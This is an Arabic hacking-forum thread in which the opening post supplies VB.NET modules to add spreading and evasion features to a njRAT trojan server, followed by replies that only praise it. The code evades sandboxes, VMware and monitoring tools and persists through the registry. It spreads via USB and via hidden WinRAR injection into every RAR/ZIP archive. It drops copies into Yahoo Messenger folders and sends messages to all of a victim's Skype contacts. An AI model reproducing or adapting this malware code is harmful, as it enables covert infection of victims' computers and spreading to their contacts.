1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : مستر كولدن | المشاهدات : 837 | الردود : 16
  1. مستر كولدن DeveloPer Plus

    الأنتساب:
    ‏4 ديسمبر 2014
    المشاركات:
    224
    الإعجابات المتلقاة:
    288
    نقاط الجائزة:
    155
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    بسم الله الرحمن الرحيم
    السلآم عليكم
    حبايب كلبي اقدملكم اليوم
    {1!9}مجموعة من اكواد الانتشارات+تخطيات للسيرفر برنامج اختراق نجرات
    اليكم الاكواد بلغة Vb.NeT{1!9}
    [FONT=ae_AlMothnna]تخطيات[/FONT]
    [FONT=ae_AlMothnna]Anti sandboxi>Anti Vmware>Anti Apdate DNS>Anti [/FONT]
    [FONT=ae_AlMothnna]ZOMANA>Anti CportS[/FONT][FONT=ae_AlMothnna]>smartsniff>spy the spy >TCP EYE[/FONT]
    [FONT=ae_AlMothnna]الانتشارات في[/FONT]
    [FONT=ae_AlMothnna]USP[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]RAR[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]P2P[/FONT][FONT=ae_AlMothnna]<[/FONT][FONT=ae_AlMothnna]Yahoo[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]lan[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]Skype[/FONT]
    [FONT=ae_AlMothnna]---------------------------[/FONT]
    [FONT=ae_AlMothnna]ضع الكود في[/FONT]
    [FONT=ae_AlMothnna]class1[/FONT]




    Mutex.OpenExisting(MTX)
    End
    Catch ex As Exception
    End Try
    Try
    MT = New Mutex(True, MTX)
    Catch ex As Exception
    End
    End Try
    Dim tt As Object = New Thread(AddressOf RC, 1)
    tt.Start()


    If SPR = True Then
    usb.ExeName = RG & ".exe"
    usb.Start()
    End If
    Try
    kq = New kl
    tt = New Thread(AddressOf kq.WRK, 1)
    tt.Start()
    Catch ex As Exception
    End Try
    Dim ac As Integer = 0
    Dim su As Integer = 0
    Dim ov As String = ""
    If BD Then
    Try
    AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf ED
    pr(1)
    Catch ex As Exception
    End Try
    End If
    While True
    Thread.CurrentThread.Sleep(1000)
    Try
    ac += 1
    su += 1
    If ac = 5 Then
    Try
    EmptyWorkingSet(Process.GetCurrentProcess.Handle)
    Catch ex As Exception
    End Try
    End If
    If ac > 10 Then
    ac = 0
    If Cn = True Then
    If ACT() = ov Then
    Else
    ov = ACT()
    If ov IsNot Nothing Then
    If ov.Length > 0 Then
    Send("act" & Y & ov)
    End If
    End If
    End If
    End If
    End If
    If su > 7 Then
    su = 0
    Try
    F.Registry.CurrentUser.OpenSubKey(sf, True).SetValue(RG, ChrW(34) & LO.FullName & ChrW(34) & " ..")





    ثم ضع هذا الكود في
    class2



    Imports System
    Imports System.Runtime.InteropServices
    Imports System.Collections.Generic
    Imports System.Reflection
    Imports System.Text
    Imports System.Windows.Forms
    Imports System.IO
    Imports System.Diagnostics
    Imports Microsoft.Win32
    Imports System.DirectoryServices
    Imports System.Management






    Module SKYYPE
    Public Sub Skype()
    Try
    Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
    Dim g As New StreamWriter(vv)
    g.BaseStream.Seek(0, SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""Remplacer ici par le texte que vous voulez (ce texte sera ecrit dans toutes les conversations de tout les amis skype de la victime" & """")
    g.WriteLine("next")
    g.Close()
    Process.Start("C:\windows\system32\s4c.vbs")
    Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
    fa.Delete()
    Catch ex As Exception
    End Try
    End Sub
    End Module


    Module RARR
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _
    Public Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
    End Function
    Dim _rarPath As String
    Dim _copiedExeName As String
    Private Sub Search(ByVal pathName As String)
    Dim files As String()
    files = Directory.GetFiles(pathName)
    For Each file As String In files
    If file.Contains(".rar") Then
    RarStart(file)
    End If
    If file.Contains(".zip") Then
    RarStart(file)
    End If
    Next


    Dim subdirectorys As String() = Directory.GetDirectories(pathName)
    For Each subdirectory As String In subdirectorys
    Search(subdirectory)
    Next
    End Sub




    Public Sub Spread(ByVal myExeName As String)
    _copiedExeName = myExeName
    Dim drives As String() = Environment.GetLogicalDrives()
    For Each strDrive As String In drives
    Search(strDrive)
    Next
    File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
    End Sub


    Public Sub RarStart(ByVal archiveToInject As String)
    Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
    Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"


    _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
    If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
    File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
    End If


    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()




    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)


    Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = (" a " & shortArchiveDirectory.ToString & " ") + evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden


    Process.Start(rarProcess)
    Catch
    End Try


    End If
    End Sub
    End Module
    Module yahoo
    Sub yahoo_sp()
    On Error Resume Next
    Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
    Dim YaFile As String = Application.ExecutablePath
    Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
    If Dir(FoPath, FileAttribute.Directory) <> "" Then
    Dim i As Int32 = 0
    Dim x As Int32 = 0
    Dim shares() As String
    shares = System.IO.Directory.GetDirectories(FoPath)
    For i = 0 To shares.GetUpperBound(0)
    If Dir(shares(i), FileAttribute.Directory) <> "" Then
    If File.Exists(shares(i) & "\ys.scr") = False Then
    File.Copy(YaFile, shares(i) & "\ys.scr")
    End If
    End If
    Next
    End If
    End Sub
    End Module




    ايضا ضع هذا كود في
    Module1



    Public Class anti


    Public Function IsSafe() As Boolean
    For Each x As String In New String() {"cfp", "vmplayer", "cports", "ApateDNS", "antilogger", "procexp", "smsniff", "TcpEye", "SpyTheSpy"}
    If Process.GetProcessesByName(x).Length > 0 Then Return False
    Next
    Return True
    End Function
    End Class


     
  2. --•DeviL Hacker•-- ExpErt DeveloPer

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    661
    الإعجابات المتلقاة:
    867
    نقاط الجائزة:
    215
    الجنس:
    ذكر
    الوظيفة:
    صنـآعـة برآمـج
    الإقامة:
    IraQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    احسنت ياغالي
     
  3. الأوكراني <div class="smal22">.:: غير موثوق ::.</div> موقوف لمخالفة الشروط

    الأنتساب:
    ‏22 أغسطس 2014
    المشاركات:
    255
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    50
    رد: اضافة انتشارات للسيرفر و تخطيات

    احسنت اخي الكريم موفق في الطرح استمر في ابداعك
     
  4. AnonYmous-IQ مشرف آمن المواقع والسيرفرات ExpErt DeveloPer

    الأنتساب:
    ‏31 أغسطس 2014
    المشاركات:
    387
    الإعجابات المتلقاة:
    457
    نقاط الجائزة:
    155
    الجنس:
    ذكر
    الوظيفة:
    [+] Programmer [+]
    الإقامة:
    Iraq
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    PHP
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    {1!$7} عشت يا ؤردة {1!$7}


    [​IMG]
     
  5. Mstr Yaser <span style="font-weight: bold; text-shadow: #BBBB موقوف لمخالفة الشروط

    الأنتساب:
    ‏21 نوفمبر 2014
    المشاركات:
    353
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    50
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Python
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    عاشت ايدك حب
     
  6. عباس العتابي Developer

    الأنتساب:
    ‏10 ديسمبر 2014
    المشاركات:
    13
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    رد: اضافة انتشارات للسيرفر و تخطيات

    حلوو حبي
     
  7. !•¢-Άss£R-ΆℓrOoOԊ•¢-! اعرض من مثلث برمودة DeveloPer Plus

    الأنتساب:
    ‏16 يناير 2015
    المشاركات:
    430
    الإعجابات المتلقاة:
    17
    نقاط الجائزة:
    50
    الجنس:
    أنثى
    الإقامة:
    مدينه الصدر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    C#
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    حلوو استمر في
    ابداعك
     
  8. HaMaM-HaCkEr DeveloPer Plus

    الأنتساب:
    ‏22 نوفمبر 2012
    المشاركات:
    117
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    رد: اضافة انتشارات للسيرفر و تخطيات

    تْسِسِسِلٌمٍ ايًدًيًك يًا غٍ ’ـالٌيً
     
  9. MR.CAPTCHA Expert Developer ExpErt DeveloPer

    الأنتساب:
    ‏30 أغسطس 2014
    المشاركات:
    1,786
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    90
    الوظيفة:
    I.T Student
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    C#
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    كودات رووعة احسنت
     
  10. عقرب النجف موقوف لمخالفة الشروط

    الأنتساب:
    ‏7 ديسمبر 2014
    المشاركات:
    424
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 8
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: اضافة انتشارات للسيرفر و تخطيات

    عاشؤؤ حبيبي وواصل الابداع بكل جديد {1!$4}
     

مشاركة هذه الصفحة